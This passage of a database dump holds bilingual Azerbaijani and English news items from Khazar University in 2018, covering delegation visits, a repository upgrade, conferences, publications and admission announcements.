oktyabrın 12-də Misir Neft Araşdırmalar İnstitutunun nümayəndə heyəti Xəzər Universitetini...','<p>2018-ci il oktyabrın 12-də Misir Neft Araşdırmalar İnstitutunun nümayəndə heyəti Xəzər Universitetini ziyarət etdilər.</p><p>Görüşdə Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı, həmçinin, universitetin rektoru Dr. Hassan Niknafs, Neft-qaz mühəndisliyi departamentinin müdiri dosent Qəşəm Zeynalov, Misir Neft Araşdırmalar İnstitutunun rektoru Ahmed M. Al-Sabagh, onu müşayiət edən nümayəndə heyəti və Misir Mədəniyyət Mərkəzinin rəhbəri Ahmed Sami Elaydi iştirak edirdilər.</p><p>Görüş zamanı Xəzər Universiteti ilə Misir Neft Araşdırmalar İnstitutunun gələcək əməkdaşlığına dair razılıq əldə olundu və tərəflər iki ölkə arasında elmi mübadilələrin artırılması üçün qarşılıqlı addımlar atılacağını bildirdilər.</p>'),(6173,3514,'en','Egyptian Petroleum Research Institute visits Khazar University','On October 12, 2018, a delegation from Egyptian Petroleum Research Institute paid a visit to Khazar...','<p>On October 12, 2018, a delegation from Egyptian Petroleum Research Institute paid a visit to Khazar University.</p><p>Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, as well as Dr.&nbsp;Hassan Niknafs, Rector, Assoc.Prof. Gasham Zeynalov, Head of Oil and Gas Department, Prof. Ahmed M. Al-Sabagh, Rector of Egyptian Petroleum Research Institute, delegation together with the Director of Egyptian Culture Centre Ahmed Sami Elaydy participated in the meeting.</p><p>During the meeting the sides reached agreement on further cooperation between Khazar University and the Egyptian Oil Research Institute, as well as agreed to take mutual steps to boost scientific exchanges between the two countries.</p>'),(6174,3515,'az','Rəqəmsal Elektron Arxiv (DSpace) yeni versiyadan istifadə edir','Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin Rəqəmsal Elektron Arxivi (DSpace) yeni versiyaya...','<p>Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin Rəqəmsal Elektron&nbsp;Arxivi (DSpace) yeni versiyaya –1.8-dən 6.2 versiyasına keçid etdi.</p><p><a href=\"http://dspace.khazar.org/\">Rəqəmsal Elektron Arxiv</a> Xəzər Universitetinin müəllimləri, işçiləri və tələbələrinin elmi tədqiqatlarının qorunub saxlanılmasını təmin edən Kitabxana-İnformasiya xidmətidir. Açıq girişə kitablar, konfrans materialları, şəkillər, məqalələr, hesabatlar, tezislər, dissertasiyalar və s. daxildir.</p><p>Elektron Arxiv təkcə müasir və inkişaf edən məlumat, informasiya və kommunikasiya qaynağı deyil, həm də universitetin əhəmiyyətli rəqəmsal xidmətlərindən biridir.</p><p>Kitabxana-İnformasiya Mərkəzi yeni nəşrləri gözləyir.</p>'),(6175,3515,'en','DSpace uses a new version','Khazar University Library and information Center (KULIC) is pleased to announce that library has just...','<p><strong><em>Welcome to the updated Khazar University\'s Institutional Repository!</em></strong></p><p>Khazar University Library and information Center (KULIC) is pleased to announce that library&nbsp;has just completed moving born-digital Institutional Repository by DSpace 1.8 to a new latest version&nbsp;by DSpace 6.2.</p><p>The Digital&nbsp;Open Access&nbsp;<a href=\"http://dspace.khazar.org/\" target=\"_blank\" rel=\"noopener noreferrer\" auth=\"NotApplicable\">Khazar University Institutional Repository (KUIR)</a>&nbsp;is a service of the Library and Information Center that preserves and makes available scholarly research by Khazar University\'s faculty, staff, and students. The open access repository includes books, conference papers, images, peer-reviewed scholarly articles, technical reports, theses and dissertations, working papers, and more.</p><p>KUIR is not only contemporary or emerging source of knowledge, information and communication but also one of the important digital services in our university.</p><p>Consequently, KUIR provides excellent opportunities for Khazar University to expand knowledge beyond internal and external learning environments.</p><p>LIC is waiting for your new publications!!!</p>'),(6176,3516,'az','Xəzər Universitetinin müəllimi beynəlxalq konfransda','2018-ci il oktyabrın 11-i və 12-də Türkiyənin İstanbul şəhərində dünyanın ilk yüz düşüncə quruluşu arasında...','<p>2018-ci il oktyabrın 11-i və 12-də Türkiyənin İstanbul şəhərində dünyanın ilk yüz düşüncə quruluşu arasında yer alan TESAM və Mərmərə Universitetinin birgə təşkilatçılığı ilə “Türkiyə&nbsp;–   Türk dünyası əlaqələrinin dünəni, bu günü və sabahı” mövzusunda beynəlxalq konfrans keçirildi.</p><p>Konfransda müxtəlif ölkələrdən və Türkiyənin fərqli universitetlərindən gələn otuza yaxın nüfuzlu elm adamının məruzələri dinlənildi. İstanbuldakı konfransda Azərbaycanı Xəzər Universitetinin Tarix və arxeologiya departamentinin müəllimi Dr. Telman Quliyev (Nüsrətoğlu) təmsil edirdi. O, XX əsr Türkiyə-Azərbaycan münasibətlərinin tarixi və Qafqaz İslam Ordusu haqqında geniş məruzə ilə çıxış etdi. Tədbir əsnasında Telman Nüsrətoğlunun mövzu ilə əlaqədar Türkiyə televiziyalarına verdiyi müsahibələr də yayınlandı.</p>'),(6177,3516,'en','Khazar University instructor participates in an international conference','On October 11 and 12, 2018, an international conference on the topic “Turkey – the past, present and future of Turkish world...','<p>On October 11 and 12, 2018, an international conference on the topic “Turkey – the past, present and future of Turkish world”, on a joint organizational support of Marmara University and TESAM, one of the hundred think tanks of the world, was held in Istanbul, Turkey.</p><p>About thirty respected scholars from various countries and Turkish universities made reports. Azerbaijan was represented by Dr.Telman Guliyev (Nusratoghlu), Instructor of the Department of History and Archaeology of Khazar University. His report covered the relationships between Turkey and Azerbaijan in the XX century as well as the Islamic Army of the Caucasus. In the course of the conference Turkish TVs broadcasted an interview with Telman Nusratoghlu.</p>'),(5883,3368,'az','Xəzər Universitetinin Bioloji elmlər departamentinin doktorantı Ankarada beynəlxalq sammitdə çıxış edib','Xəzər Universitetinin Bioloji elmlər departamentinin doktorantı Moozhan Serpoush Türkiyənin...','<p>Xəzər Universitetinin Bioloji elmlər&nbsp;departamentinin doktorantı Moozhan Serpoush   Türkiyənin Ankara şəhərində 2018-ci il iyulun 12-15-də keçirilən “Avrasiya Təbii Qida və Sağlam Həyat Sammiti”ndə iştirak edib.</p><p>Moozhan Serpoush   konfransda “Azərbaycan arpa genotipində genetik müxtəlifliyin tədqiqi üçün müqayisəli molekulyar markerlər” mövzusunda şifahi təqdimat və “Puccinia striiformis f.sp. tritici genomu tərəfindən səbəb olan sarı pas xəstəliyinə ilkin mərhələdə buğda vəd edən xətt üzrə müqavimət komponentinin öyrənilməsi” mövzusunda poster təqdimatı ilə çıxış edib. Məqalələr “Türkiyə Kənd təsərrüfatı, Qida elmləri və Texnologiya” jurnalında nəşr ediləcək.</p>'),(6137,3496,'az','Mühəndislik və Tətbiqi Elmlər fakültəsinin yeni tədqiqatı nəşr edilib','Mühəndislik və Tətbiqi Elmlər fakültəsinin Nanotexnologiya laboratoriyasının apardığı tədqiqatın nəticələrini...','<p>Mühəndislik və Tətbiqi Elmlər fakültəsinin\r\nNanotexnologiya laboratoriyasının apardığı tədqiqatın nəticələrini özündə əks\r\netdirən “<em>PVDF/h-BN hybrid membranes and their application in desalination\r\nthrough AGMD</em>” adlı məqalə <em>Membrane Water Treatment </em>jurnalında nəşr edilmişdir.<em>&nbsp;</em></p><p><em></em>Məqaləni bu link vasitəsilə oxumaq olar:</p><p><a href=\"http://www.techno-press.com/content/?page=article&amp;journal=mwt&amp;volume=9&amp;num=4&amp;ordernum=3\" target=\"_blank\">http://www.techno-press.com/content/?page=article&amp;journal=mwt&amp;volume=9&amp;num=4&amp;ordernum=3</a>.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Tədqiqat işi Dr.&nbsp;Hassan Niknafsın və Mühəndislik\r\nvə Tətbiqi Elmlər fakültəsinin əməkdaşlarının dəstəyi ilə Dr.&nbsp;Rasoul\r\nMoradi tərəfindən aparlıb. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Bundan başqa, Dr.&nbsp;Rasoul Moradi “<em>International\r\nJournal of Material Science and Research\" </em>jurnalının redaktə heyətinə\r\nüzv seçilib. Jurnalla aşağıdakı keçid vasitəsilə tanış olmaq olar:</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"https://madridge.org/journal-material-science-research/editors.php\" target=\"_blank\">https://madridge.org/journal-material-science-research/editors.php</a>.</p>'),(6138,3496,'en','New Research Study of the School of Engineering and Applied Sciences is published','Researchers from the School of Engineering and Applied Sciences, Nanotechnology Laboratory, have published their research...','<p>Researchers from the School of Engineering and\r\nApplied Sciences, Nanotechnology Laboratory, have published their research\r\nresults in the scientific paper entitled “<em>PVDF/h-BN hybrid membranes and their application in desalination\r\nthrough AGMD</em>” in the\r\njournal <em>Membrane Water Treatment</em>. The article is available through the\r\nfollowing link:</p><p><a href=\"http://www.techno-press.com/content/?page=article&amp;journal=mwt&amp;volume=9&amp;num=4&amp;ordernum=3\" target=\"_blank\">http://www.techno-press.com/content/?page=article&amp;journal=mwt&amp;volume=9&amp;num=4&amp;ordernum=3</a>.&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">The research has been conducted by Dr. Rasoul\r\nMoradi with scientific assistance of Dr. Hassan Niknafs and other colleagues of\r\nthe school of Engineering and Applied Sciences.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal;background:white\"\"=\"\">In addition, Dr. Rasoul has been selected for\r\nthe editorial board membership of the new journal <em>\"International\r\nJournal of Material Science and Research\" </em>which could be tracked via\r\nthe following link: <a href=\"https://madridge.org/journal-material-science-research/editors.php\" target=\"_blank\">https://madridge.org/journal-material-science-research/editors.php</a>.</p>'),(6143,3499,'az','Xəzər Universitetinin əcnəbi tələbələrinin milli Azərbaycan Tarixi Muzeyinə ekskursiyası','2018-ci il oktyabrın 9-da Xəzər Universitetinin əcnəbi tələbələri həmin universitetin müəllimi...','<p>2018-ci il oktyabrın 9-da Xəzər Universitetinin əcnəbi tələbələri həmin universitetin müəllimi Bayram Quliyev ilə birlikdə Azərbaycan tarixinin böyük bir qisminin əyani formada əks olunduğu və 300.000-dən çox eksponatın yer aldığı Milli Azərbaycan Tarixi Muzeyini ziyarət etdilər. Qədim dövrlərdən bu günə qədər Azərbaycan tarixini yaşadan Milli Azərbaycan Tarixi Muzeyində ilk dəfə olan müxtəlif ölkələrdən (İraq, Pakistan, Nigeriya və s.) gəlmiş xarici tələbələr üçün həm maraqlı və yeni, həm də fərqli bir təəssürat yaratmış oldu. Tarix öncəsindən Azərbaycanda insan məskənlərinin mövcud olduğunu Azıxantropun alt cənə sümüyü görərək, əyani formada öyrənən tələbələrin əksəriyyəti ərəb ölkələrindən olduğuna görə, Azərbaycan ilk epik abidələrindən olan “Kitabi-Dədə Qorqud”un ərəb qrafikası ilə yazıldığını və Azərbaycanda orta əsrlərdən XX əsrin 20-ci illərin sonuna qədər ərəb əlifbasının istifadə olunduğu faktları onlar üçün yeni və maraqlı idi.</p>'),(6144,3499,'en','Excursion of International Students of Khazar University to the National Museum of Azerbaijan History','On October 9, 2018, international students with their senior lecturer, Bayram Guliyev...','<p>On October 9, 2018, international students with their senior lecturer, Bayram Guliyev, visited National Museum of History of Azerbaijan, where a large part of Azerbaijani history is demonstrated visually with more than 300,000 exhibits.&nbsp;A visit to the National Museum of Azerbaijan History, which covers periods from Prehistory to Modern days, made an incredible impression on the students who had come from different countries (Iraq, Pakistan, Nigeria, etc.). The students gained information on the human settlement in Azerbaijan from the Prehistoric period by observing the low jaw bones of Azykhanthrop. The fact that one of the epic monuments of Azerbaijan, the Book of Dada Gorgud, was written in Arabic calligraphy and Arabic alphabet was used in Azerbaijan from the Medieval Ages to the end of the 1920s of XX century, impressed the international students from Arab countries.</p>'),(6145,3500,'az','Kral Fahd Neft və Minerallar Universiteti Xəzər Universiteti ilə əlaqələr yaradır','2018-ci il oktyabrın 9-da Səudiyyə Ərəbistanının Kral Fahd Neft və Minerallar...','<p>2018-ci il oktyabrın 9-da Səudiyyə Ərəbistanının Kral Fahd Neft və Minerallar Universitetinin (King Fahd University of Petroleum and Minerals) Neft mühəndisliyi departamentinin əməkdaşları –“Saudi Aramco” şirkətinin professoru Dr.Shirish Patil, departamentin müdiri Dr. Dhafer A.Al-Shehri və departamentin professoru Dr. Sidqi A.Abu-Khamsin ilə Xəzər Universitetinin Nef-qaz mühəndisliyi üzrə təhsil alan tələbələrin və məzunlarının görüşü oldu. Görüşdə professor Shirish Patil Kral Fahd Neft və Minerallar Universitetinin Neft Mühəndisliyi və Yer Elmləri fakültəsi haqqında danışdı və universitetin təqaüd proqramı əsasında bakalavr, magistr və doktorantura səviyyələri üzrə yeni tələbələrin cəld edilməsi haqqında genış məlumat verdi.</p><p>Sonda isə nümayəndə heyəti təqaüd proqramı ilə əlaqədar tələbələrin suallarını cavablandırdı. Tədbirdə, həmçinin, Xəzər Universitetinin Neft mühəndisliyi departamentinin müdiri Dr.Qəşəm Zeynalov və departamentin bəzi müəllimləri iştirak edirdilər.</p><p>Sonra isə King Fahd University of Petroleum and Minerals universitetinin nümayəndə heyəti Xəzər Universitetinin rektoru Dr. Nassan Niknafs ilə görüşdülər. Görüşdə universitetlər arasında əməkdaşlığın perspektivləri və digər məsələlər müzakirə edildi.</p>'),(6146,3500,'en','Relations built with King Fahd University of Petroleum and Minerals','On October 9, 2018, associates of the Department of Oil Engineering of King Fahd ...','<p>On October 9, 2018, associates of the Department of Oil Engineering of King Fahd University of Petroleum and Minerals - Dr. Shirish Patil, Professor at “Saudi Aramco” company; Dr. Dhafer A.Al-Shehri, Head of the Department; Dr. Sidqi A.Abu-Khamsin, Professor at the Department, met with oil and gas engineering students and graduates of Khazar University. The guests talked about the School of Oil Engineering and Earth Sciences of King Fahd University of Petroleum and Minerals and informed the participants about scholarship programs at Bachelor’s, Master’s and PhD levels.</p><p>At the end, the delegation answered students’ questions about the scholarship program. The meeting was also attended by Dr. Gasham Zeynalov, Head of the Department of Oil Engineering, as well as some associates of the Department.</p><p>Then the representatives of King Fahd University of Petroleum and Minerals met with Dr Hassan Niknafs, Rector of Khazar University and discussed a mutual collaboration and other issues.</p>'),(5884,3368,'en','PhD student of Biological Sciences Department delivers a presentation at International Summit in Ankara','Moozhan Serpoush, a PhD student of Biological Sciences Department...','<p>Moozhan Serpoush, a PhD student of Biological Sciences Department of Khazar University, participated in International ‘EURASIAN Natural Nutrition and Healthy Life Summit 12-15 July 2018’ Ankara, Turkey.</p><p>She delivered an oral presentation on \"Comparative Molecular Markers for Studying Genetic Diversity in Azerbaijan Barley Genotypes\" and \"Study of Resistance Component on Wheat Promising Line in Seedling Stage to Yellow Rust Disease Caused by Puccinia striiformis f.sp. tritici\" which has been presented as a poster presentation. Articles will be published at “Turkish Journal of Agriculture, Food Science and Technology”.</p>'),(5885,3369,'az','“Dünya” jurnalının yeni nömrəsi çapdan çıxıb','Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının...','<p>Xəzər Universiteti “Dünya” Təhsil Kompleksinin nəşri olan “Dünya” jurnalının 2018-ci il aprel nömrəsi (25-ci nömrə) Xəzər Universitetinin mətbəəsində çapdan çıxmışdır.</p>'),(5886,3369,'en','New issue of “Dunya” journal is published','April issue (number 25) of 2018 for “Dunya” journal, a publication of “Dunya” Education...','<p>April issue (number 25) of 2018 for “Dunya” journal, a publication of “Dunya” Education Complex affiliated with Khazar University, has been published at the Khazar University press.</p>'),(5887,3370,'az','İngilis dili və ədəbiyyatı departamentinin baş müəlliminin poetik tərcümələr kitabı çapdan çıxmışdır','Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin baş müəllimi Firəngiz Nəsirovanın...','<p>Xəzər Universiteti İngilis dili və ədəbiyyatı departamentinin baş müəllimi Firəngiz Nəsirovanın “Yaşamağa nə var ki!..” adlı poetik tərcümələr kitabı Xəzər Universitetinin Nəşriyyatında çapdan çıxmışdır. Xəzər Universitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor Hamlet İsaxanlı kitaba qısa ön söz yazmışdır.</p><p>Poetik məcmuədə Hamlet İsaxanlı, Zəlimxan Yaqub, Məmməd Araz, Cəfər Cabbarlı, Hüseyn Arif, Bəxtiyar Vahabzadə, Əli Kərim, Nəriman Həsənzadə və Baba Vəziroğlunun ingilis dilində şeirləri orijinalları ilə birlikdə yer almışdır.</p>'),(5888,3370,'en','A book of poetic translations by Senior Instructor of the Department of English Language and Literature is published','A book of poetic translations entitled “Yaşamağa nə var ki!..” by Firangiz Nasirova, Senior instructor...','<p>A book of poetic translations entitled “Yaşamağa nə var ki!..” by Firangiz Nasirova, Senior instructor of the Department of English Language and Literature, has been published at Khazar University press. A foreword to the book is by Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees.</p><p>The book contains poems translated into English, along with original versions, by Hamlet Isakhanli, Zalimkhan Yagub, Mammad Araz, Jafar Jabbarli, Huseyn Arif, Bakhtiyar Vahabzadeh, Ali Karim, Nariman Hasanzadeh and Baba Vaziroghlu.</p>'),(5889,3371,'az','ABİTURİYENTLƏRİN və VALİDEYNLƏRİN DİQQƏTİNƏ!','31 iyul – 13 avqust 2018-ci il tarixlərində saat 10:00-dan 17:00-dək...','<p>31 iyul –&nbsp;13 avqust 2018-ci il tarixlərində saat 10:00-dan 17:00-dək Xəzər Universitetinin Neftçilər Kampusunda (Neftçilər metrosunun yaxınlığında, Məhsəti küçəsi, 41 ünvanında) Açıq Qapı Günləri keçiriləcəkdir.&nbsp;</p><p>Hər kəs dəvətlidir.&nbsp;</p><p>Tel.: (012)&nbsp;323-93-13&nbsp;</p><p>Mobil: (050) 321-31-69</p>'),(5890,3371,'en','TO THE ATTENTION OF ABITURIENTS AND PARENTS!','“Open Door” Days will be conducted on July 31 – August 13, 2018, from...','<p>“Open Door” Days will be conducted on July 31 – August 13, 2018, from 10am to 5pm on Neftchiler campus of Khazar University (41 Mehseti St., near Neftchiler m.).&nbsp;</p><p>Everybody is welcome!</p><p>Tel.: (012) 321-31-69</p><p>Mob.: (050) 321-31-69</p>'),(5891,3372,'az','Xəzər Universitetində Açıq Qapı Günləri başlandı','Xəzər Universitetinin vebsaytında və social şəbəkələrdə abituriyentlər və valideynlər...','<p>Xəzər Universitetinin vebsaytında və sosial şəbəkələrdə abituriyentlər və valideynlər üçün elan edildiyi kimi, 2018-ci il iyulun 31-də universitetin Neftçilər kampusunun Mərmər salonunda Açıq Qapı Günləri başlandı. Açıq Qapı Günlərini keçirməkdən məqsəd Dövlət İmtahan Mərkəzinin iyulun 30-dan avqustun 13-dək elan etdiyi ali təhsil müəssisəsi və ixtisas seçimi prosesində abituriyentlərə əsaslı yardım göstərməkdən ibarətdir.</p><p>Dünəndən etibarən Mərmər salonda universitetin dekan və departament müdirləri, əməkdaşlar abituriyent və valideynləri qəbul edərək, Azərbaycanın ali təhsil müəssisələri arasında Xəzər Universitetin yüksək reytinqi, təhsil şəraiti, ixtisaslar, təhsil haqqındakı güzəştlər, maddi baza və s. haqqında onlara geniş məlumat verirlər, suallarını ətraflı cavablandırırlar. Abituriyentlər universitet əməkdaşları ilə görüşdən məmnun qaldıqlarını və bunun universitet və ixtisas seçimində onlara istiqamət verəcəyini bildirirlər.</p><p>Açıq Qapı Günləri avqustun 13-dək davam edəcək.</p>'),(5892,3372,'en','“Open Door” Days started at Khazar University','On July 31, 2018, the Open Door Days started in the Marble Hall of the Neftchiler Campus of the university...','<p>On July 31, 2018, the Open Door Days started in the Marble Hall of the Neftchiler Campus of the university as it had been announced to abiturients and parents on the Khazar University website and social networking sites.</p><p>The main purpose of conducting the Open Door Days is to provide a substantial help to applicants in the process of selection of the higher education institution and the specialty announced by the State Examination Center from July 30 to August 13.</p><p>Deans, heads of departments, associates of Khazar University have been accepting abiturients and parents since yesterday and providing them with detailed information about high rating of Khazar University, educational conditions, resources and facilities, specialties, discounts on education, and answer their questions. The abiturients express their satisfaction with meeting the university staff and believe this will contribute to their specialty choice.</p><p>The Open Door Days will last until August 13, 2018.</p>'),(5893,3373,'az','Tarix və arxeologiya departamentinin müəlliminə dosent diplomu təqdim olunub','2018-ci il iyulun 30-da Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya...','<p>2018-ci il iyulun 30-da Azərbaycan Respublikasının Prezidenti yanında Ali Attestasiya Komissiyasında diplomların təqdim olunması mərasimi keçirilib. Mərasimdə Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi, siyasi elmlər üzrə fəlsəfə doktoru Xaqan Balayevə də dosent diplomu&nbsp;təqdim olunmuşdur.</p><p>Müvafiq qərar Ali Attestasiya Komissiyasının 25 may 2018-ci il tarixli kollegiya iclasında qəbul edilmişdi.</p>'),(5894,3373,'en','Lecturer of the Department of History and Archeology was awarded Associate Professor Diploma','On July 30, 2018, the diploma awarding ceremony was conducted at Supreme Attestation...','<p>On July&nbsp;30, 2018, the diploma awarding ceremony was conducted at Supreme Attestation Commission under the President of the Republic of Azerbaijan. Khagan Balayev, a lecturer of the Department of History and Archeology, PhD in Political Science, was also awarded an Associate Professor diploma.</p><p>The relevant decision was made at the collegiate meeting of the Supreme Attestation Commission on May 25, 2018.</p>'),(5895,3374,'az','Xəzər Universiteti Azərbaycan Televiziyasında','Avqust ayının 9-da Azərbaycan Televiziyası Xəzər Universitetində təhsil alan xarici...','<p>Avqust ayının&nbsp;9-da Azərbaycan Televiziyası Xəzər Universitetində təhsil alan xarici tələbələrin həyatı haqqında danışdı, tələbələrlə müsahibə verildi.</p>'),(5896,3375,'az','Qəbul imtahanları sona çatdı','2018-2019-cu tədris ili üçün Dövlət İmtahan Mərkəzi tərəfindən keçirilən bakalavr...','<p>2018-2019-cu tədris ili üçün&nbsp;Dövlət İmtahan Mərkəzi tərəfindən keçirilən bakalavr qəbul imtahanları&nbsp;sona çatdı. Abituriyentlər tərəfindən ixtisasların seçimi davam etdirilir.&nbsp;</p>'),(5897,3376,'az','Abituriyentlərin yerləşdirilməsi','14 avqust 2018-ci il tarixindən etibarən 2018-2019-cu tədris ili üçün Dövlət İmtahan Mərkəzi...','<p>14 avqust 2018-ci il tarixindən&nbsp;etibarən 2018-2019-cu tədris ili üçün  Dövlət İmtahan Mərkəzi tərəfindən abituriyentlərin yerləşdirilməsi həyata keçiriləcək.</p>'),(5898,3377,'az','Konfrans və İstirahət mərkəzi istifadəyə veriləcək','Xəzər Universitetinin Buzovna qəsəbəsində yerləşən Konfrans və İstirahət mərkəzində...','<p>Xəzər Universitetinin Buzovna qəsəbəsində yerləşən Konfrans və İstirahət mərkəzində (Khazar University Conference and Leisure Center) qızğın işlər gedir. Mərkəz qısa zamanda istifadəyə veriləcəkdir.  </p>'),(5899,3378,'az','Bakalavr pilləsinə  qəbul olan tələbələrin nəzərinə!','Qeydiyyatdan keçmək üçün aşağıdakı sənədlər...','<p style=\"text-align:center\"><strong>1-ci turdan</strong></p><p style=\"text-align:center\"><strong>BAKALAVR pilləsinə</strong></p><p style=\"text-align:center\"><strong>qəbul olan tələbələrin nəzərinə!</strong></p>\r\n<p style=\"text-align:center\">Qeydiyyatdan keçmək üçün aşağıdakı sənədlər</p><p style=\"text-align:center\"><strong style=\"font-size:large\"><span style=\"text-decoration:underline\">avqustun 16-dan 28-nə qədər</span>&nbsp;</strong></p><p style=\"text-align:center\"><strong style=\"font-size:large\"></strong>(şənbə və bazar günü istisna olmaqla)</p><p style=\"text-align:center\"><span style=\"text-decoration:underline\">saat 10-dan 17-yə qədər</span></p><p style=\"text-align:center\"><span style=\"text-decoration:underline\"></span>qəbul komissiyasına (213-cü otaq)</p><p style=\"text-align:center\">təqdim olunmalıdır.</p>\r\n<p style=\"text-align:left\"><strong>Sənədlərin siyahısı</strong></p>\r\n<ul><li>İş nömrəsi, şifr (yazılı şəkildə təqdim edin)</li><li>Attestat</li><li>Sağlamlıq haqqında tibbi arayış</li><li>Şəxsiyyət vəsiqəsinin surəti (DS ilə gələnlər iki ədəd)</li><li>Şəkil (rəngli, 4 ədəd, 3x4 ölçüdə)</li><li>İllik təhsil haqqı (bank vasitəsilə)</li></ul><p>Abituriyent sənədləri şəxsən təqdim etməlidir.</p><p style=\"text-align:right\"><strong style=\"text-align:right\">Qəbul komissiyası</strong></p>'),(5905,3379,'az','Abituriyentlərin qeydiyyatı başladı','Avqustun 16-dan etibarən Xəzər Universitetinə qəbul olan abituriyentlərin...','<p>&nbsp;Avqustun 16-dan etibarən Xəzər Universitetinə qəbul olan abituriyentlərin qeydiyyatı başlanmışdır. Qeydiyyat prosesi avqustun 28-nə qədər davam edəcək.</p>'),(5900,3376,'en','Placement of Abiturients','Placement of abiturients for the 2018-2019 academic year will...','<p>Placement of abiturients for the 2018-2019 academic year will be conducted by the State Examination Center from August 14, 2018.</p>'),(5901,3377,'en','Khazar University Conference and Leisure Center will be put into operation','Plenty of construction work is currently underway at Khazar University Conference...','<p>Plenty of construction work is currently underway at Khazar University Conference and Leisure Center which is located in Buzovna district. The center is expected to be put into operation shortly.</p>'),(5902,3375,'en','Entrance exams have come to an end','Bachelor entrance exams conducted by the State Examination Center...','<p>Bachelor entrance exams conducted by the State Examination Center for the 2018-2019 academic year have come to an end. Specialties are being selected by abiturients.</p>'),(5903,3374,'en','Khazar University is on Azerbaijan Television','On August 9, Azerbaijan TV broadcast a programme, which included...','<p>On August 9, Azerbaijan TV broadcast a programme, which included the interview with the students, on the lives of foreign students currently studying at Khazar University.</p>'),(5904,3378,'en','To the attention of students admitted to the Bachelor\'s degree level education!','The following documents must be submitted for registration...','<p style=\"text-align:center\"><strong>To the attention of\r\nthe students</strong></p>\r\n<p style=\"text-align:center\"><strong>admitted to the\r\nBACHELOR’S degree level education</strong></p>\r\n<p style=\"text-align:center\"><strong>from the&nbsp; 1<sup>st</sup> round!</strong></p>\r\n<p style=\"text-align:center\">The following documents must be\r\nsubmitted for registration</p>\r\n<p style=\"text-align:center\"><strong><span style=\"text-decoration:underline\">from August 16 to\r\nAugust 28</span></strong></p>\r\n<p style=\"text-align:center\">(except Saturday and Sunday)</p>\r\n<p style=\"text-align:center\"><strong>from 10 a.m. to 5 p.m</strong><strong>.</strong> </p>\r\n<p style=\"text-align:center\">to Admission Commission (Room 213)</p>\r\n<p><strong>List of required\r\ndocuments</strong></p>\r\n<ul><li>Work number, code (in written form)</li><li>Certificate of Secondary Education</li><li>Health Certificate</li><li>Copy of ID card</li><li>Photo (colored, 4 pieces, 3x4 sizes)</li><li>Annual Tuition Fee (through a bank\r\ntransfer)</li></ul><p>Abiturients\r\nmust <strong>personally</strong> submit the documents.</p>\r\n<p style=\"text-align:right\"><strong>Admission Commission</strong></p>'),(5906,3379,'en','Student registration has started','Registration of the abiturients admitted to Khazar University started on August 16...','<p>Registration of the abiturients admitted to Khazar University started on August 16.&nbsp;</p><p>The registration process will last until August 28.</p>'),(5907,3380,'az','Xəzər Universitetinə qəbul olunmuş abituriyentlərin qeydiyyatı davam edir','Azərbaycan Respublikasının Dövlət İmtahan Mərkəzi tərəfindən keçirilmiş...','<p>Azərbaycan Respublikasının Dövlət İmtahan Mərkəzi tərəfindən keçirilmiş imtahanların nəticələrinə görə Xəzər Universitetinə qəbul olunmuş abituriyentlərin universitetin Neftçilər kampusunda avqustun 16-dan başlanmış qeydiyyatı davam edir.&nbsp;</p><p>Qeydiyyat prosesi avqustun 28-nə qədər davam edəcək.  </p>'),(5908,3381,'az','Xəzər Universitetinin məzunu Gürcüstanda keçirilən marafonun qalibi olub','2018-ci il avqustun 20-də aznews.az xəbər portalı Xəzər Universitetinin məzunu...','<p>2018-ci il avqustun 20-də <em>aznews.az</em> xəbər portalı Xəzər Universitetinin məzunu və keçmiş əməkdaşı Aygül İsayevanın Gürcüstanda keçirilmiş “Həyat üçün Qanadlar - Dünya Qaçışı” adlı marafonda uğur qazanması və bu münasibətlə Azərbaycan Respublikası Diasporlarla iş üzrə Dövlət Komitəsinin sədri Fuad Muradovun ona təbrik məktubu göndərməsi haqqında geniş xəbər dərc etmişdir.</p><p style=\"text-align:left\">Xəbərdə göstərilir ki, Aygül İsayeva 2018-ci il iyunun 17-də Kvarelidə keçirilən və peşəkarların qatıldığı yarım marafonda&nbsp;21,1 km məsafəni 1 saat 56 dəqiqəyə qət edərək, qadınlar arasında 3-cü yerə çıxıb. Qarşısına böyük məqsədlər qoyan həmyerlimiz Gürcüstanın Kazbeki dağlarında keçirilən tam marafonu (42 km) da uğurla sona çatdırıb.</p><p>Xəbərin tam mətnini bu linkdə oxumaq olar:</p><p><a href=\"http://www.aznews.az/news/cemiyyet/182561.html#Kalibri\">http://www.aznews.az/news/cemiyyet/182561.html#Kalibri</a></p>'),(5934,3394,'az','Xəzər Universitetinə qəbul olunmuş abituriyentlərin qeydiyyatı başa çatdı','Azərbaycan Respublikasının Dövlət İmtahan Mərkəzi tərəfindən keçirilmiş...','<p>Azərbaycan Respublikasının Dövlət İmtahan Mərkəzi tərəfindən keçirilmiş imtahanların nəticələrinə görə Xəzər Universitetinə qəbul olunmuş abituriyentlərin universitetin Neftçilər kampusunda avqustun 16-dan başlanmış qeydiyyatı avqustun 28-də saat 17.00-da başa çatdı.</p>'),(5935,3395,'az','“525-ci qəzet”də dərc olunmuş məqalədə Xəzər Universitetinin Fəxri doktoru Tadeuş Sventoxovskinin də əsərlərindən bəhs edilmişdir','“525-ci qəzet”in 2018-ci il 27 avqust tarixli internet səhifəsində Rövşən...','<p>“525-ci qəzet”in 2018-ci il 27 avqust tarixli internet səhifəsində Rövşən Ağayev və Natiq İsayevin 